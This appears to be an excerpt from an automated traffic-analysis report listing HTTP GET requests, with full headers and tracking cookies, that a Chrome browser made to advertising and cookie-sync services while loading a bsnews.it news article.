Source: global traffic	HTTP traffic detected: GET /77781087eb9a0621642f9ebec6beb8d1.gif?puid=[UID]&redir=[RED]&gdpr=0&gdpr_consent= HTTP/1.1Host: cs.krushmedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fsync.admanmedia.com%2Fappnexus.gif%3Fpuid%3D%24UID%26gdpr%3D[GDPR]%26gdpr_consent%3D[GDPR_CONSENT] HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.admanmedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=k2j3gqp&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjypJzZ38PnPBAFOAFaBzJ4bGdyemxgAg..
Source: global traffic	HTTP traffic detected: GET /gampad/ads?pvsid=1536995679409651&correlator=2406699025139339&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2CBSNEWS-DSK-Spalla-dx-300X600-ATF&enc_prev_ius=%2F0%2F1&prev_iu_szs=300x250%7C300x600&ifi=2&didk=315054745&sfv=1-0-40&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615890346&lmt=1711560111&adxs=842&adys=593&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=2&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=324x636&msz=324x0&fws=4&ohw=324&psts=AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvQlNORVdTLURTSy1TcGFsbGEtZHgtMzAwWDYwMC1BVEYiLFtdXV1dLG51bGwsM10.&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Doptical%26refreshCount%3D0%26amznbid%3D1%26amznp%3D1&cust_params=consent%3Dyes&adks=979779281&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Ad-Auction-Fetch: ?1Origin: https://bsnews.itX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=digqd7p&ttd_tpi=1&gdpr=[GDPR]&gdpr_consent=[GDPR_CONSENT] HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.admanmedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjypJzZ38PnPBAFOAFaBzJ4bGdyemxgAg..
Source: global traffic	HTTP traffic detected: GET /f7872c90c5d3791e2b51f7edce1a0a5d/?p=sZn9xIbZzF&consentString=[GDPR_CONSENT]&r=https%3A%2F%2Fsync.admanmedia.com%2F71da423e3fcc7c87e88ac913d505141d.gif%3Fpuid%3D[PDID] HTTP/1.1Host: sync.richaudience.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.admanmedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376; raibs=1; avcid-sht-uid=e222cac2-a257-448a-96d5-9494eb4fc58c; avcid-opx-uid=cf63f4e3-1ddd-05e9-329a-db2fad5e45ad; avcid-ttd-uid=a109dc60-dc7c-45e5-ab53-e2448a53420f; avcid-inx-uid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB
Source: global traffic	HTTP traffic detected: GET /player/?zid=AACAFQeVCHLlefG8&sid=01eeece05a1cab0c910a7df5dd4b4bb2&activation=onload&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&ahd=1&schain=1.0,1!movingup.it,109,1,,,&player_session=%7B%22page_id%22%3A%22018e8441b31cc64c0ea7193c3ebea690%22%2C%22screen%22%3A%7B%22width%22%3A1280%2C%22height%22%3A1024%7D%2C%22page%22%3A%7B%22width%22%3A1263%2C%22height%22%3A13576%7D%2C%22viewport%22%3A%7B%22width%22%3A1280%2C%22height%22%3A907%7D%2C%22player_size%22%3A%7B%22width%22%3A535%2C%22height%22%3A301%7D%7D&sc=1&gdpr=0&cmp=unavailable&dd=bsnews.it HTTP/1.1Host: ads.viralize.tvConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vr_uid=NzY5NWIzYWUtYTFjZC00NjhhLWE1MTgtYzc3MzNjYWVhNGVm\|1711615884\|94eda8e1184d8826c1eadd57bb7c2d1ee7b65411; u-profile=\|AiVPZQ3y1b34953
Source: global traffic	HTTP traffic detected: GET /ups/58813/fed?gpp_sid=-1&v=1&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU
Source: global traffic	HTTP traffic detected: GET /cookie-sync/aul HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie-sync/svr?gdpr=0&gdpr_consent= HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=157362&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D157362%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync.admanmedia.com%252Fpub.gif%253Fpuid%253D%2523PMUID HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.admanmedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bh/rtset?pid=558511&ev=1&rurl=https%3A%2F%2Fce.lijit.com/merge?pid=49&3pid=%%VGUID%%&gdpr=0&gdpr_consent= HTTP/1.1Host: bh.contextweb.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=199624&dpuuid=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&redir=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%24%7BDD_UUID%7D%26zpartnerid%3D314%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixels/ayl_pixel?ayl_id=b6fcc9c759d2693b00a026e6708e7344 HTTP/1.1Host: api-2-0.spot.imConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=sovrn&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/decode_consent/decode_consent.js HTTP/1.1Host: static.smilewanted.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://csync.smilewanted.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=federatedmedia&gdpr=0&gdpr_consent= HTTP/1.1Host: data.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjypJzZ38PnPBAFOAFaBzJ4bGdyemxgAg..
Source: global traffic	HTTP traffic detected: GET /esp?url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&rid=esp HTTP/1.1Host: oajs.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; pd=v2\|1711615884\|vMgavPkWgyiK; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557
Source: global traffic	HTTP traffic detected: GET /sync?ssp=adyoulike&gdpr=0&gdpr_consent= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=adman&user_id=9741359e-b2a2-4864-af08-41d769df6c9b&gdpr=[GDPR]&gdpr_consent=[GDPR_CONSENT] HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.admanmedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=adyoulike&gdpr=0&gdpr_consent= HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cm?eid=2685567776971821124&pv=adform&sid=1011&rt=img HTTP/1.1Host: d.omg.neodatagroup.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cProfile=AQMdCINwxgW/AAAAAAAEAAABjpjbKGMAB2RlZmF1bHQ=; cP=AT8DHQiDcMYFvwAAAAABs0lT; cOptout=0\|yocToken:7AdUuQDnS44iVs6ZYu1ohLMYeJE; tr=loCAwIGjVEREzmYGgRGAgdoANDMxZDA4ODM3MGM2MDViZl9hMTA5ZGM2MC1kYzdjLTQ1ZTUtYWI1My1lMjQ0OGE1MzQyMGbOZgUvkQ==
Source: global traffic	HTTP traffic detected: GET /tum?umid=134&uid=9741359e-b2a2-4864-af08-41d769df6c9b HTTP/1.1Host: ums.acuityplatform.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.admanmedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/sync?callerId=5&gdpr=0&gdpr_consent=&us_privacy=&redirectUri=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D107%26uid%3D[ssb_sync_pid] HTTP/1.1Host: ssbsync-global.smartadserver.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pbw=%24b%3d16999%3b%24o%3d11100; vs=281855=5910291; TestIfCookie=ok; TestIfCookieP=ok; sasd=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6; pid=7766515454130361199; sasd2=q=%24qc%3D1307002411%3B%24ql%3DUnknown%3B%24qt%3D152_0_0t%3B%24dma%3D511%3B%24qo%3D6&c=1&l&lo&lt=638472126794237323&o=1
Source: global traffic	HTTP traffic detected: GET /cookie/?redirect=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%25%25COOKIE%25%25%26env%3DmWeb%26zpartnerid%3D563%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1Host: dsp.adfarm1.adition.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie-sync/pm?gdpr=0&gdpr_consent= HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/casale/ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB?gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBJEvBWYCEATYrtx-xGtri1kHhW5ZxLsFEgEBAQGBBmYPZgAAAAAA_eMAAA&S=AQAAAkUcioWL-4l4wBfcMUc-yBU
Source: global traffic	HTTP traffic detected: GET /getuid?https://dsum-sec.casalemedia.com/crum?cm_dsp_id=46&external_user_id=$UID HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
